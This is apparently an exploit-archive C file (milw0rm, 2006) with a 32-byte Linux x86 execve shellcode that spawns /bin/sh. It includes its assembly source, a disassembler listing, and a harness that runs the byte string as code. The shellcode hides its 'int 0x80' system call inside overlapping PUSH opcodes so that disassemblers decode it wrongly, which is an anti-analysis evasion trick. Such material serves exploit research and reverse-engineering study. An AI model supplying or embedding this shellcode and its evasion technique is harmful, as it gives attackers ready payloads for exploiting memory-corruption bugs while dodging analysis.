477bcbdcc0
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66 lines
No EOL
1.9 KiB
C
Executable file
66 lines
No EOL
1.9 KiB
C
Executable file
/* execve() shellcode with 'fuck up disasm' ability, 32 bytes long
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by BaCkSpAcE [sinisa86(at)gmail(dot)com]
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BitByterz Labs 2006
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http://www.bitbyterz.org
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;
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; shellcode.asm
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;
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fupdisasm:
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db 0x68 ; opcode for PUSH DW instruction
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db 0xcd ; crypt+1, opcode for INT instruction
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db 0x80 ; interrupt number (80 in this case)
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db 0x68 ; crypt+3
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db 0x68
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jmp fupdisasm+3
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db 0x68 ; MAGIC_BYTE: this byte makes disasm go crazy
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; our shellcode which we want to hide
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push byte 11
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pop eax
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xor edx, edx
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push edx
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push 0x68732f2f
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push 0x6e69622f
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mov ebx, esp
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push edx
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push ebx
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mov ecx, esp
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jmp fupdisasm+1 ; jumps on address where is hidden int 0x80
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backspace@bitbyterz# nasm shellcode.asm
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backspace@bitbyterz# ndisasm -u shellcode
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00000000 68CD806868 push dword 0x686880cd
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00000005 EBFC jmp short 0x3
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00000007 686A0B5831 push dword 0x31580b6a
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0000000C D25268 rcl byte [edx+0x68],cl
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0000000F 2F das
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00000010 2F das
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00000011 7368 jnc 0x7b
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00000013 682F62696E push dword 0x6e69622f
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00000018 89E3 mov ebx,esp
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0000001A 52 push edx
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0000001B 53 push ebx
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0000001C 89E1 mov ecx,esp
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0000001E EBE1 jmp short 0x1
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Find difference between original and dissasembled shellcode ;)
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*/
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#include <stdio.h>
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#include <string.h>
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char shellcode[] = "\x68\xcd\x80\x68\x68\xeb\xfc\x68"
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"\x6a\x0b\x58\x31\xd2\x52\x68\x2f"
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"\x2f\x73\x68\x68\x2f\x62\x69\x6e"
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"\x89\xe3\x52\x53\x89\xe1\xeb\xe1";
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main() {
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void (*fp) (void);
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fp = (void *) shellcode;
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printf ("%d bytes\n", strlen(shellcode));
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fp();
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}
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// milw0rm.com [2006-05-14]
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